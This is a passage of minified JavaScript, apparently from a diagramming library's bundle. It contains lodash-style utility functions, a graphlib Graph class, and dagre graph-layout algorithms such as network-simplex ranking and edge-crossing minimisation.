strict";rp();F2();ss();SR();nae();Ud();oae();Ru();Yn();o(nBe,"baseOrderBy");lae=nBe});var iBe,uae,hae=N(()=>{"use strict";TR();iBe=ek("length"),uae=iBe});function gBe(t){for(var e=fae.lastIndex=0;fae.test(t);)++e;return e}var dae,aBe,sBe,oBe,lBe,cBe,uBe,IR,OR,hBe,pae,mae,gae,fBe,yae,vae,dBe,pBe,mBe,fae,xae,bae=N(()=>{"use strict";dae="\\ud800-\\udfff",aBe="\\u0300-\\u036f",sBe="\\ufe20-\\ufe2f",oBe="\\u20d0-\\u20ff",lBe=aBe+sBe+oBe,cBe="\\ufe0e\\ufe0f",uBe="["+dae+"]",IR="["+lBe+"]",OR="\\ud83c[\\udffb-\\udfff]",hBe="(?:"+IR+"|"+OR+")",pae="[^"+dae+"]",mae="(?:\\ud83c[\\udde6-\\uddff]){2}",gae="[\\ud800-\\udbff][\\udc00-\\udfff]",fBe="\\u200d",yae=hBe+"?",vae="["+cBe+"]?",dBe="(?:"+fBe+"(?:"+[pae,mae,gae].join("|")+")"+vae+yae+")*",pBe=vae+yae+dBe,mBe="(?:"+[pae+IR+"?",IR,mae,gae,uBe].join("|")+")",fae=RegExp(OR+"(?="+OR+")|"+mBe+pBe,"g");o(gBe,"unicodeSize");xae=gBe});function yBe(t){return Rre(t)?xae(t):uae(t)}var Tae,wae=N(()=>{"use strict";hae();Nre();bae();o(yBe,"stringSize");Tae=yBe});function vBe(t,e){return dk(t,e,function(r,n){return Jw(t,n)})}var kae,Eae=N(()=>{"use strict";MR();bR();o(vBe,"basePick");kae=vBe});var xBe,op,Sae=N(()=>{"use strict";Eae();Lre();xBe=Dre(function(t,e){return t==null?{}:kae(t,e)}),op=xBe});function wBe(t,e,r,n){for(var i=-1,a=TBe(bBe((e-t)/(r||1)),0),s=Array(a);a--;)s[n?a:++i]=t,t+=r;return s}var bBe,TBe,Cae,Aae=N(()=>{"use strict";bBe=Math.ceil,TBe=Math.max;o(wBe,"baseRange");Cae=wBe});function kBe(t){return function(e,r,n){return n&&typeof n!="number"&&lo(e,r,n)&&(r=n=void 0),e=Am(e),r===void 0?(r=e,e=0):r=Am(r),n=n===void 0?e{"use strict";Aae();qd();Q9();o(kBe,"createRange");_ae=kBe});var EBe,Ho,Lae=N(()=>{"use strict";Dae();EBe=_ae(),Ho=EBe});function SBe(t,e,r,n,i){return i(t,function(a,s,l){r=n?(n=!1,a):e(r,a,s,l)}),r}var Rae,Nae=N(()=>{"use strict";o(SBe,"baseReduce");Rae=SBe});function CBe(t,e,r){var n=Bt(t)?Mre:Rae,i=arguments.length<3;return n(t,vn(e,4),r,i,zs)}var Jr,PR=N(()=>{"use strict";Ire();sf();ss();Nae();Yn();o(CBe,"reduce");Jr=CBe});function ABe(t,e){var r=Bt(t)?Om:sk;return r(t,Qie(vn(e,3)))}var cf,Mae=N(()=>{"use strict";Nw();kR();ss();Yn();Zie();o(ABe,"reject");cf=ABe});function LBe(t){if(t==null)return 0;if(fi(t))return xi(t)?Tae(t):t.length;var e=ho(t);return e==_Be||e==DBe?t.size:Lm(t).length}var _Be,DBe,BR,Iae=N(()=>{"use strict";Cw();ip();Po();lk();wae();_Be="[object Map]",DBe="[object Set]";o(LBe,"size");BR=LBe});function RBe(t,e){var r;return zs(t,function(n,i,a){return r=e(n,i,a),!r}),!!r}var Oae,Pae=N(()=>{"use strict";sf();o(RBe,"baseSome");Oae=RBe});function NBe(t,e,r){var n=Bt(t)?Hw:Oae;return r&&lo(t,e,r)&&(e=void 0),n(t,vn(e,3))}var z2,Bae=N(()=>{"use strict";dR();ss();Pae();Yn();qd();o(NBe,"some");z2=NBe});var MBe,Dc,Fae=N(()=>{"use strict";Im();cae();vm();qd();MBe=yc(function(t,e){if(t==null)return[];var r=e.length;return r>1&&lo(t,e[0],e[1])?e=[]:r>2&&lo(e[0],e[1],e[2])&&(e=[e[0]]),lae(t,Ac(e,1),[])}),Dc=MBe});var IBe,OBe,$ae,zae=N(()=>{"use strict";cR();Z9();Yw();IBe=1/0,OBe=af&&1/$m(new af([,-0]))[1]==IBe?function(t){return new af(t)}:si,$ae=OBe});function BBe(t,e,r){var n=-1,i=Sw,a=t.length,s=!0,l=[],u=l;if(r)s=!1,i=nk;else if(a>=PBe){var h=e?null:$ae(t);if(h)return $m(h);s=!1,i=Fm,u=new Bm}else u=e?[]:l;e:for(;++n{"use strict";Uw();tR();wR();qw();zae();Yw();PBe=200;o(BBe,"baseUniq");Hm=BBe});var FBe,FR,Gae=N(()=>{"use strict";Im();vm();pk();kT();FBe=yc(function(t){return Hm(Ac(t,1,Vd,!0))}),FR=FBe});function $Be(t){return t&&t.length?Hm(t):[]}var qm,Vae=N(()=>{"use strict";pk();o($Be,"uniq");qm=$Be});function zBe(t,e){return t&&t.length?Hm(t,vn(e,2)):[]}var Uae,Hae=N(()=>{"use strict";ss();pk();o(zBe,"uniqBy");Uae=zBe});function VBe(t){var e=++GBe;return _w(t)+e}var GBe,lp,qae=N(()=>{"use strict";rR();GBe=0;o(VBe,"uniqueId");lp=VBe});function UBe(t,e,r){for(var n=-1,i=t.length,a=e.length,s={};++n{"use strict";o(UBe,"baseZipObject");Wae=UBe});function HBe(t,e){return Wae(t||[],e||[],gc)}var mk,Xae=N(()=>{"use strict";ym();Yae();o(HBe,"zipObject");mk=HBe});var Yt=N(()=>{"use strict";vre();hR();wne();kne();NL();hie();pie();gie();yie();vie();kie();ER();_ie();Lie();CR();Lw();ak();Rie();Nie();Mie();Fie();Ru();Gie();Vie();Yn();uk();i2();oo();Wie();lk();Yie();Sc();mie();Vm();Xie();jie();OL();NR();Kie();Z9();cie();Sae();tae();Lae();PR();Mae();Iae();Bae();Fae();Gae();Vae();qae();LR();Xae();});function Kae(t,e){t[e]?t[e]++:t[e]=1}function Qae(t,e){--t[e]||delete t[e]}function G2(t,e,r,n){var i=""+e,a=""+r;if(!t&&i>a){var s=i;i=a,a=s}return i+jae+a+jae+(xr(n)?qBe:n)}function WBe(t,e,r,n){var i=""+e,a=""+r;if(!t&&i>a){var s=i;i=a,a=s}var l={v:i,w:a};return n&&(l.name=n),l}function $R(t,e){return G2(t,e.v,e.w,e.name)}var qBe,cp,jae,cn,gk=N(()=>{"use strict";Yt();qBe="\0",cp="\0",jae="",cn=class{static{o(this,"Graph")}constructor(e={}){this._isDirected=Object.prototype.hasOwnProperty.call(e,"directed")?e.directed:!0,this._isMultigraph=Object.prototype.hasOwnProperty.call(e,"multigraph")?e.multigraph:!1,this._isCompound=Object.prototype.hasOwnProperty.call(e,"compound")?e.compound:!1,this._label=void 0,this._defaultNodeLabelFn=Ns(void 0),this._defaultEdgeLabelFn=Ns(void 0),this._nodes={},this._isCompound&&(this._parent={},this._children={},this._children[cp]={}),this._in={},this._preds={},this._out={},this._sucs={},this._edgeObjs={},this._edgeLabels={}}isDirected(){return this._isDirected}isMultigraph(){return this._isMultigraph}isCompound(){return this._isCompound}setGraph(e){return this._label=e,this}graph(){return this._label}setDefaultNodeLabel(e){return Si(e)||(e=Ns(e)),this._defaultNodeLabelFn=e,this}nodeCount(){return this._nodeCount}nodes(){return qr(this._nodes)}sources(){var e=this;return Zr(this.nodes(),function(r){return mr(e._in[r])})}sinks(){var e=this;return Zr(this.nodes(),function(r){return mr(e._out[r])})}setNodes(e,r){var n=arguments,i=this;return Ae(e,function(a){n.length>1?i.setNode(a,r):i.setNode(a)}),this}setNode(e,r){return Object.prototype.hasOwnProperty.call(this._nodes,e)?(arguments.length>1&&(this._nodes[e]=r),this):(this._nodes[e]=arguments.length>1?r:this._defaultNodeLabelFn(e),this._isCompound&&(this._parent[e]=cp,this._children[e]={},this._children[cp][e]=!0),this._in[e]={},this._preds[e]={},this._out[e]={},this._sucs[e]={},++this._nodeCount,this)}node(e){return this._nodes[e]}hasNode(e){return Object.prototype.hasOwnProperty.call(this._nodes,e)}removeNode(e){if(Object.prototype.hasOwnProperty.call(this._nodes,e)){var r=o(n=>this.removeEdge(this._edgeObjs[n]),"removeEdge");delete this._nodes[e],this._isCompound&&(this._removeFromParentsChildList(e),delete this._parent[e],Ae(this.children(e),n=>{this.setParent(n)}),delete this._children[e]),Ae(qr(this._in[e]),r),delete this._in[e],delete this._preds[e],Ae(qr(this._out[e]),r),delete this._out[e],delete this._sucs[e],--this._nodeCount}return this}setParent(e,r){if(!this._isCompound)throw new Error("Cannot set parent in a non-compound graph");if(xr(r))r=cp;else{r+="";for(var n=r;!xr(n);n=this.parent(n))if(n===e)throw new Error("Setting "+r+" as parent of "+e+" would create a cycle");this.setNode(r)}return this.setNode(e),this._removeFromParentsChildList(e),this._parent[e]=r,this._children[r][e]=!0,this}_removeFromParentsChildList(e){delete this._children[this._parent[e]][e]}parent(e){if(this._isCompound){var r=this._parent[e];if(r!==cp)return r}}children(e){if(xr(e)&&(e=cp),this._isCompound){var r=this._children[e];if(r)return qr(r)}else{if(e===cp)return this.nodes();if(this.hasNode(e))return[]}}predecessors(e){var r=this._preds[e];if(r)return qr(r)}successors(e){var r=this._sucs[e];if(r)return qr(r)}neighbors(e){var r=this.predecessors(e);if(r)return FR(r,this.successors(e))}isLeaf(e){var r;return this.isDirected()?r=this.successors(e):r=this.neighbors(e),r.length===0}filterNodes(e){var r=new this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});r.setGraph(this.graph());var n=this;Ae(this._nodes,function(s,l){e(l)&&r.setNode(l,s)}),Ae(this._edgeObjs,function(s){r.hasNode(s.v)&&r.hasNode(s.w)&&r.setEdge(s,n.edge(s))});var i={};function a(s){var l=n.parent(s);return l===void 0||r.hasNode(l)?(i[s]=l,l):l in i?i[l]:a(l)}return o(a,"findParent"),this._isCompound&&Ae(r.nodes(),function(s){r.setParent(s,a(s))}),r}setDefaultEdgeLabel(e){return Si(e)||(e=Ns(e)),this._defaultEdgeLabelFn=e,this}edgeCount(){return this._edgeCount}edges(){return kr(this._edgeObjs)}setPath(e,r){var n=this,i=arguments;return Jr(e,function(a,s){return i.length>1?n.setEdge(a,s,r):n.setEdge(a,s),s}),this}setEdge(){var e,r,n,i,a=!1,s=arguments[0];typeof s=="object"&&s!==null&&"v"in s?(e=s.v,r=s.w,n=s.name,arguments.length===2&&(i=arguments[1],a=!0)):(e=s,r=arguments[1],n=arguments[3],arguments.length>2&&(i=arguments[2],a=!0)),e=""+e,r=""+r,xr(n)||(n=""+n);var l=G2(this._isDirected,e,r,n);if(Object.prototype.hasOwnProperty.call(this._edgeLabels,l))return a&&(this._edgeLabels[l]=i),this;if(!xr(n)&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(e),this.setNode(r),this._edgeLabels[l]=a?i:this._defaultEdgeLabelFn(e,r,n);var u=WBe(this._isDirected,e,r,n);return e=u.v,r=u.w,Object.freeze(u),this._edgeObjs[l]=u,Kae(this._preds[r],e),Kae(this._sucs[e],r),this._in[r][l]=u,this._out[e][l]=u,this._edgeCount++,this}edge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return this._edgeLabels[i]}hasEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return Object.prototype.hasOwnProperty.call(this._edgeLabels,i)}removeEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n),a=this._edgeObjs[i];return a&&(e=a.v,r=a.w,delete this._edgeLabels[i],delete this._edgeObjs[i],Qae(this._preds[r],e),Qae(this._sucs[e],r),delete this._in[r][i],delete this._out[e][i],this._edgeCount--),this}inEdges(e,r){var n=this._in[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.v===r}):i}}outEdges(e,r){var n=this._out[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.w===r}):i}}nodeEdges(e,r){var n=this.inEdges(e,r);if(n)return n.concat(this.outEdges(e,r))}};cn.prototype._nodeCount=0;cn.prototype._edgeCount=0;o(Kae,"incrementOrInitEntry");o(Qae,"decrementOrRemoveEntry");o(G2,"edgeArgsToId");o(WBe,"edgeArgsToObj");o($R,"edgeObjToId")});var qo=N(()=>{"use strict";gk()});function Zae(t){t._prev._next=t._next,t._next._prev=t._prev,delete t._next,delete t._prev}function YBe(t,e){if(t!=="_next"&&t!=="_prev")return e}var vk,Jae=N(()=>{"use strict";vk=class{static{o(this,"List")}constructor(){var e={};e._next=e._prev=e,this._sentinel=e}dequeue(){var e=this._sentinel,r=e._prev;if(r!==e)return Zae(r),r}enqueue(e){var r=this._sentinel;e._prev&&e._next&&Zae(e),e._next=r._next,r._next._prev=e,r._next=e,e._prev=r}toString(){for(var e=[],r=this._sentinel,n=r._prev;n!==r;)e.push(JSON.stringify(n,YBe)),n=n._prev;return"["+e.join(", ")+"]"}};o(Zae,"unlink");o(YBe,"filterOutLinks")});function ese(t,e){if(t.nodeCount()<=1)return[];var r=KBe(t,e||XBe),n=jBe(r.graph,r.buckets,r.zeroIdx);return Qr(rt(n,function(i){return t.outEdges(i.v,i.w)}))}function jBe(t,e,r){for(var n=[],i=e[e.length-1],a=e[0],s;t.nodeCount();){for(;s=a.dequeue();)zR(t,e,r,s);for(;s=i.dequeue();)zR(t,e,r,s);if(t.nodeCount()){for(var l=e.length-2;l>0;--l)if(s=e[l].dequeue(),s){n=n.concat(zR(t,e,r,s,!0));break}}}return n}function zR(t,e,r,n,i){var a=i?[]:void 0;return Ae(t.inEdges(n.v),function(s){var l=t.edge(s),u=t.node(s.v);i&&a.push({v:s.v,w:s.w}),u.out-=l,GR(e,r,u)}),Ae(t.outEdges(n.v),function(s){var l=t.edge(s),u=s.w,h=t.node(u);h.in-=l,GR(e,r,h)}),t.removeNode(n.v),a}function KBe(t,e){var r=new cn,n=0,i=0;Ae(t.nodes(),function(l){r.setNode(l,{v:l,in:0,out:0})}),Ae(t.edges(),function(l){var u=r.edge(l.v,l.w)||0,h=e(l),f=u+h;r.setEdge(l.v,l.w,f),i=Math.max(i,r.node(l.v).out+=h),n=Math.max(n,r.node(l.w).in+=h)});var a=Ho(i+n+3).map(function(){return new vk}),s=n+1;return Ae(r.nodes(),function(l){GR(a,s,r.node(l))}),{graph:r,buckets:a,zeroIdx:s}}function GR(t,e,r){r.out?r.in?t[r.out-r.in+e].enqueue(r):t[t.length-1].enqueue(r):t[0].enqueue(r)}var XBe,tse=N(()=>{"use strict";Yt();qo();Jae();XBe=Ns(1);o(ese,"greedyFAS");o(jBe,"doGreedyFAS");o(zR,"removeNode");o(KBe,"buildState");o(GR,"assignBucket")});function rse(t){var e=t.graph().acyclicer==="greedy"?ese(t,r(t)):QBe(t);Ae(e,function(n){var i=t.edge(n);t.removeEdge(n),i.forwardName=n.name,i.reversed=!0,t.setEdge(n.w,n.v,i,lp("rev"))});function r(n){return function(i){return n.edge(i).weight}}o(r,"weightFn")}function QBe(t){var e=[],r={},n={};function i(a){Object.prototype.hasOwnProperty.call(n,a)||(n[a]=!0,r[a]=!0,Ae(t.outEdges(a),function(s){Object.prototype.hasOwnProperty.call(r,s.w)?e.push(s):i(s.w)}),delete r[a])}return o(i,"dfs"),Ae(t.nodes(),i),e}function nse(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.reversed){t.removeEdge(e);var n=r.forwardName;delete r.reversed,delete r.forwardName,t.setEdge(e.w,e.v,r,n)}})}var VR=N(()=>{"use strict";Yt();tse();o(rse,"run");o(QBe,"dfsFAS");o(nse,"undo")});function Lc(t,e,r,n){var i;do i=lp(n);while(t.hasNode(i));return r.dummy=e,t.setNode(i,r),i}function ase(t){var e=new cn().setGraph(t.graph());return Ae(t.nodes(),function(r){e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){var n=e.edge(r.v,r.w)||{weight:0,minlen:1},i=t.edge(r);e.setEdge(r.v,r.w,{weight:n.weight+i.weight,minlen:Math.max(n.minlen,i.minlen)})}),e}function xk(t){var e=new cn({multigraph:t.isMultigraph()}).setGraph(t.graph());return Ae(t.nodes(),function(r){t.children(r).length||e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){e.setEdge(r,t.edge(r))}),e}function UR(t,e){var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2;if(!i&&!a)throw new Error("Not possible to find intersection inside of the rectangle");var u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=l*i/a,h=l):(i<0&&(s=-s),u=s,h=s*a/i),{x:r+u,y:n+h}}function uf(t){var e=rt(Ho(qR(t)+1),function(){return[]});return Ae(t.nodes(),function(r){var n=t.node(r),i=n.rank;xr(i)||(e[i][n.order]=r)}),e}function sse(t){var e=Rl(rt(t.nodes(),function(r){return t.node(r).rank}));Ae(t.nodes(),function(r){var n=t.node(r);Ft(n,"rank")&&(n.rank-=e)})}function ose(t){var e=Rl(rt(t.nodes(),function(a){return t.node(a).rank})),r=[];Ae(t.nodes(),function(a){var s=t.node(a).rank-e;r[s]||(r[s]=[]),r[s].push(a)});var n=0,i=t.graph().nodeRankFactor;Ae(r,function(a,s){xr(a)&&s%i!==0?--n:n&&Ae(a,function(l){t.node(l).rank+=n})})}function HR(t,e,r,n){var i={width:0,height:0};return arguments.length>=4&&(i.rank=r,i.order=n),Lc(t,"border",i,e)}function qR(t){return Gs(rt(t.nodes(),function(e){var r=t.node(e).rank;if(!xr(r))return r}))}function lse(t,e){var r={lhs:[],rhs:[]};return Ae(t,function(n){e(n)?r.lhs.push(n):r.rhs.push(n)}),r}function cse(t,e){var r=rk();try{return e()}finally{console.log(t+" time: "+(rk()-r)+"ms")}}function use(t,e){return e()}var Rc=N(()=>{"use strict";Yt();qo();o(Lc,"addDummyNode");o(ase,"simplify");o(xk,"asNonCompoundGraph");o(UR,"intersectRect");o(uf,"buildLayerMatrix");o(sse,"normalizeRanks");o(ose,"removeEmptyRanks");o(HR,"addBorderNode");o(qR,"maxRank");o(lse,"partition");o(cse,"time");o(use,"notime")});function fse(t){function e(r){var n=t.children(r),i=t.node(r);if(n.length&&Ae(n,e),Object.prototype.hasOwnProperty.call(i,"minRank")){i.borderLeft=[],i.borderRight=[];for(var a=i.minRank,s=i.maxRank+1;a{"use strict";Yt();Rc();o(fse,"addBorderSegments");o(hse,"addBorderNode")});function mse(t){var e=t.graph().rankdir.toLowerCase();(e==="lr"||e==="rl")&&yse(t)}function gse(t){var e=t.graph().rankdir.toLowerCase();(e==="bt"||e==="rl")&&ZBe(t),(e==="lr"||e==="rl")&&(JBe(t),yse(t))}function yse(t){Ae(t.nodes(),function(e){pse(t.node(e))}),Ae(t.edges(),function(e){pse(t.edge(e))})}function pse(t){var e=t.width;t.width=t.height,t.height=e}function ZBe(t){Ae(t.nodes(),function(e){WR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,WR),Object.prototype.hasOwnProperty.call(r,"y")&&WR(r)})}function WR(t){t.y=-t.y}function JBe(t){Ae(t.nodes(),function(e){YR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,YR),Object.prototype.hasOwnProperty.call(r,"x")&&YR(r)})}function YR(t){var e=t.x;t.x=t.y,t.y=e}var vse=N(()=>{"use strict";Yt();o(mse,"adjust");o(gse,"undo");o(yse,"swapWidthHeight");o(pse,"swapWidthHeightOne");o(ZBe,"reverseY");o(WR,"reverseYOne");o(JBe,"swapXY");o(YR,"swapXYOne")});function xse(t){t.graph().dummyChains=[],Ae(t.edges(),function(e){tFe(t,e)})}function tFe(t,e){var r=e.v,n=t.node(r).rank,i=e.w,a=t.node(i).rank,s=e.name,l=t.edge(e),u=l.labelRank;if(a!==n+1){t.removeEdge(e);var h=void 0,f,d;for(d=0,++n;n{"use strict";Yt();Rc();o(xse,"run");o(tFe,"normalizeEdge");o(bse,"undo")});function V2(t){var e={};function r(n){var i=t.node(n);if(Object.prototype.hasOwnProperty.call(e,n))return i.rank;e[n]=!0;var a=Rl(rt(t.outEdges(n),function(s){return r(s.w)-t.edge(s).minlen}));return(a===Number.POSITIVE_INFINITY||a===void 0||a===null)&&(a=0),i.rank=a}o(r,"dfs"),Ae(t.sources(),r)}function up(t,e){return t.node(e.w).rank-t.node(e.v).rank-t.edge(e).minlen}var bk=N(()=>{"use strict";Yt();o(V2,"longestPath");o(up,"slack")});function Tk(t){var e=new cn({directed:!1}),r=t.nodes()[0],n=t.nodeCount();e.setNode(r,{});for(var i,a;rFe(e,t){"use strict";Yt();qo();bk();o(Tk,"feasibleTree");o(rFe,"tightTree");o(nFe,"findMinSlackEdge");o(iFe,"shiftRanks")});var wse=N(()=>{"use strict"});var KR=N(()=>{"use strict"});var cjt,QR=N(()=>{"use strict";Yt();KR();cjt=Ns(1)});var kse=N(()=>{"use strict";QR()});var ZR=N(()=>{"use strict"});var Ese=N(()=>{"use strict";ZR()});var bjt,Sse=N(()=>{"use strict";Yt();bjt=Ns(1)});function JR(t){var e={},r={},n=[];function i(a){if(Object.prototype.hasOwnProperty.call(r,a))throw new U2;Object.prototype.hasOwnProperty.call(e,a)||(r[a]=!0,e[a]=!0,Ae(t.predecessors(a),i),delete r[a],n.push(a))}if(o(i,"visit"),Ae(t.sinks(),i),BR(e)!==t.nodeCount())throw new U2;return n}function U2(){}var eN=N(()=>{"use strict";Yt();JR.CycleException=U2;o(JR,"topsort");o(U2,"CycleException");U2.prototype=new Error});var Cse=N(()=>{"use strict";eN()});function wk(t,e,r){Bt(e)||(e=[e]);var n=(t.isDirected()?t.successors:t.neighbors).bind(t),i=[],a={};return Ae(e,function(s){if(!t.hasNode(s))throw new Error("Graph does not have node: "+s);Ase(t,s,r==="post",a,n,i)}),i}function Ase(t,e,r,n,i,a){Object.prototype.hasOwnProperty.call(n,e)||(n[e]=!0,r||a.push(e),Ae(i(e),function(s){Ase(t,s,r,n,i,a)}),r&&a.push(e))}var tN=N(()=>{"use strict";Yt();o(wk,"dfs");o(Ase,"doDfs")});function rN(t,e){return wk(t,e,"post")}var _se=N(()=>{"use strict";tN();o(rN,"postorder")});function nN(t,e){return wk(t,e,"pre")}var Dse=N(()=>{"use strict";tN();o(nN,"preorder")});var Lse=N(()=>{"use strict";KR();gk()});var Rse=N(()=>{"use strict";wse();QR();kse();Ese();Sse();Cse();_se();Dse();Lse();ZR();eN()});function ff(t){t=ase(t),V2(t);var e=Tk(t);aN(e),iN(e,t);for(var r,n;r=Ose(e);)n=Pse(e,t,r),Bse(e,t,r,n)}function iN(t,e){var r=rN(t,t.nodes());r=r.slice(0,r.length-1),Ae(r,function(n){cFe(t,e,n)})}function cFe(t,e,r){var n=t.node(r),i=n.parent;t.edge(r,i).cutvalue=Mse(t,e,r)}function Mse(t,e,r){var n=t.node(r),i=n.parent,a=!0,s=e.edge(r,i),l=0;return s||(a=!1,s=e.edge(i,r)),l=s.weight,Ae(e.nodeEdges(r),function(u){var h=u.v===r,f=h?u.w:u.v;if(f!==i){var d=h===a,p=e.edge(u).weight;if(l+=d?p:-p,hFe(t,r,f)){var m=t.edge(r,f).cutvalue;l+=d?-m:m}}}),l}function aN(t,e){arguments.length<2&&(e=t.nodes()[0]),Ise(t,{},1,e)}function Ise(t,e,r,n,i){var a=r,s=t.node(n);return e[n]=!0,Ae(t.neighbors(n),function(l){Object.prototype.hasOwnProperty.call(e,l)||(r=Ise(t,e,r,l,n))}),s.low=a,s.lim=r++,i?s.parent=i:delete s.parent,r}function Ose(t){return os(t.edges(),function(e){return t.edge(e).cutvalue<0})}function Pse(t,e,r){var n=r.v,i=r.w;e.hasEdge(n,i)||(n=r.w,i=r.v);var a=t.node(n),s=t.node(i),l=a,u=!1;a.lim>s.lim&&(l=s,u=!0);var h=Zr(e.edges(),function(f){return u===Nse(t,t.node(f.v),l)&&u!==Nse(t,t.node(f.w),l)});return sp(h,function(f){return up(e,f)})}function Bse(t,e,r,n){var i=r.v,a=r.w;t.removeEdge(i,a),t.setEdge(n.v,n.w,{}),aN(t),iN(t,e),uFe(t,e)}function uFe(t,e){var r=os(t.nodes(),function(i){return!e.node(i).parent}),n=nN(t,r);n=n.slice(1),Ae(n,function(i){var a=t.node(i).parent,s=e.edge(i,a),l=!1;s||(s=e.edge(a,i),l=!0),e.node(i).rank=e.node(a).rank+(l?s.minlen:-s.minlen)})}function hFe(t,e,r){return t.hasEdge(e,r)}function Nse(t,e,r){return r.low<=e.lim&&e.lim<=r.lim}var Fse=N(()=>{"use strict";Yt();Rse();Rc();jR();bk();ff.initLowLimValues=aN;ff.initCutValues=iN;ff.calcCutValue=Mse;ff.leaveEdge=Ose;ff.enterEdge=Pse;ff.exchangeEdges=Bse;o(ff,"networkSimplex");o(iN,"initCutValues");o(cFe,"assignCutValue");o(Mse,"calcCutValue");o(aN,"initLowLimValues");o(Ise,"dfsAssignLowLim");o(Ose,"leaveEdge");o(Pse,"enterEdge");o(Bse,"exchangeEdges");o(uFe,"updateRanks");o(hFe,"isTreeEdge");o(Nse,"isDescendant")});function sN(t){switch(t.graph().ranker){case"network-simplex":$se(t);break;case"tight-tree":dFe(t);break;case"longest-path":fFe(t);break;default:$se(t)}}function dFe(t){V2(t),Tk(t)}function $se(t){ff(t)}var fFe,oN=N(()=>{"use strict";jR();Fse();bk();o(sN,"rank");fFe=V2;o(dFe,"tightTreeRanker");o($se,"networkSimplexRanker")});function zse(t){var e=Lc(t,"root",{},"_root"),r=pFe(t),n=Gs(kr(r))-1,i=2*n+1;t.graph().nestingRoot=e,Ae(t.edges(),function(s){t.edge(s).minlen*=i});var a=mFe(t)+1;Ae(t.children(),function(s){Gse(t,e,i,a,n,r,s)}),t.graph().nodeRankFactor=i}function Gse(t,e,r,n,i,a,s){var l=t.children(s);if(!l.length){s!==e&&t.setEdge(e,s,{weight:0,minlen:r});return}var u=HR(t,"_bt"),h=HR(t,"_bb"),f=t.node(s);t.setParent(u,s),f.borderTop=u,t.setParent(h,s),f.borderBottom=h,Ae(l,function(d){Gse(t,e,r,n,i,a,d);var p=t.node(d),m=p.borderTop?p.borderTop:d,g=p.borderBottom?p.borderBottom:d,y=p.borderTop?n:2*n,v=m!==g?1:i-a[s]+1;t.setEdge(u,m,{weight:y,minlen:v,nestingEdge:!0}),t.setEdge(g,h,{weight:y,minlen:v,nestingEdge:!0})}),t.parent(s)||t.setEdge(e,u,{weight:0,minlen:i+a[s]})}function pFe(t){var e={};function r(n,i){var a=t.children(n);a&&a.length&&Ae(a,function(s){r(s,i+1)}),e[n]=i}return o(r,"dfs"),Ae(t.children(),function(n){r(n,1)}),e}function mFe(t){return Jr(t.edges(),function(e,r){return e+t.edge(r).weight},0)}function Vse(t){var e=t.graph();t.removeNode(e.nestingRoot),delete e.nestingRoot,Ae(t.edges(),function(r){var n=t.edge(r);n.nestingEdge&&t.removeEdge(r)})}var Use=N(()=>{"use strict";Yt();Rc();o(zse,"run");o(Gse,"dfs");o(pFe,"treeDepths");o(mFe,"sumWeights");o(Vse,"cleanup")});function Hse(t,e,r){var n={},i;Ae(r,function(a){for(var s=t.parent(a),l,u;s;){if(l=t.parent(s),l?(u=n[l],n[l]=s):(u=i,i=s),u&&u!==s){e.setEdge(u,s);return}s=l}})}var qse=N(()=>{"use strict";Yt();o(Hse,"addSubgraphConstraints")});function Wse(t,e,r){var n=yFe(t),i=new cn({compound:!0}).setGraph({root:n}).setDefaultNodeLabel(function(a){return t.node(a)});return Ae(t.nodes(),function(a){var s=t.node(a),l=t.parent(a);(s.rank===e||s.minRank<=e&&e<=s.maxRank)&&(i.setNode(a),i.setParent(a,l||n),Ae(t[r](a),function(u){var h=u.v===a?u.w:u.v,f=i.edge(h,a),d=xr(f)?0:f.weight;i.setEdge(h,a,{weight:t.edge(u).weight+d})}),Object.prototype.hasOwnProperty.call(s,"minRank")&&i.setNode(a,{borderLeft:s.borderLeft[e],borderRight:s.borderRight[e]}))}),i}function yFe(t){for(var e;t.hasNode(e=lp("_root")););return e}var Yse=N(()=>{"use strict";Yt();qo();o(Wse,"buildLayerGraph");o(yFe,"createRootNode")});function Xse(t,e){for(var r=0,n=1;n0;)f%2&&(d+=l[f+1]),f=f-1>>1,l[f]+=h.weight;u+=h.weight*d})),u}var jse=N(()=>{"use strict";Yt();o(Xse,"crossCount");o(vFe,"twoLayerCrossCount")});function Kse(t){var e={},r=Zr(t.nodes(),function(l){return!t.children(l).length}),n=Gs(rt(r,function(l){return t.node(l).rank})),i=rt(Ho(n+1),function(){return[]});function a(l){if(!Ft(e,l)){e[l]=!0;var u=t.node(l);i[u.rank].push(l),Ae(t.successors(l),a)}}o(a,"dfs");var s=Dc(r,function(l){return t.node(l).rank});return Ae(s,a),i}var Qse=N(()=>{"use strict";Yt();o(Kse,"initOrder")});function Zse(t,e){return rt(e,function(r){var n=t.inEdges(r);if(n.length){var i=Jr(n,function(a,s){var l=t.edge(s),u=t.node(s.v);return{sum:a.sum+l.weight*u.order,weight:a.weight+l.weight}},{sum:0,weight:0});return{v:r,barycenter:i.sum/i.weight,weight:i.weight}}else return{v:r}})}var Jse=N(()=>{"use strict";Yt();o(Zse,"barycenter")});function eoe(t,e){var r={};Ae(t,function(i,a){var s=r[i.v]={indegree:0,in:[],out:[],vs:[i.v],i:a};xr(i.barycenter)||(s.barycenter=i.barycenter,s.weight=i.weight)}),Ae(e.edges(),function(i){var a=r[i.v],s=r[i.w];!xr(a)&&!xr(s)&&(s.indegree++,a.out.push(r[i.w]))});var n=Zr(r,function(i){return!i.indegree});return xFe(n)}function xFe(t){var e=[];function r(a){return function(s){s.merged||(xr(s.barycenter)||xr(a.barycenter)||s.barycenter>=a.barycenter)&&bFe(a,s)}}o(r,"handleIn");function n(a){return function(s){s.in.push(a),--s.indegree===0&&t.push(s)}}for(o(n,"handleOut");t.length;){var 